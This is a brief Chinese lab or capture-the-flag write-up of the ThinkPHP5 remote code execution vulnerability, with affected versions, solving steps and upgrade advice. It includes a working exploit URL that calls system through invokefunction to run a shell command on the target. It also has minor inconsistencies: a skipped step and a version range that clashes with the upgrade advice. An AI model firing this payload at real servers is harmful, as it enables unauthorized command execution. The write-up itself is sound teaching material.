漏洞介绍
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
影响版本
ThinkPHP 5.*,<5.1.31
ThinkPHP <=5.0.23
解题过程
1.开启靶场环境
2.在其地址增加路径与参数即可,最后是需要执行的命令 ls /tmp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
4.成功得到flag
结论
此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。
漏洞修复
官方修复方案如下:官方修复方案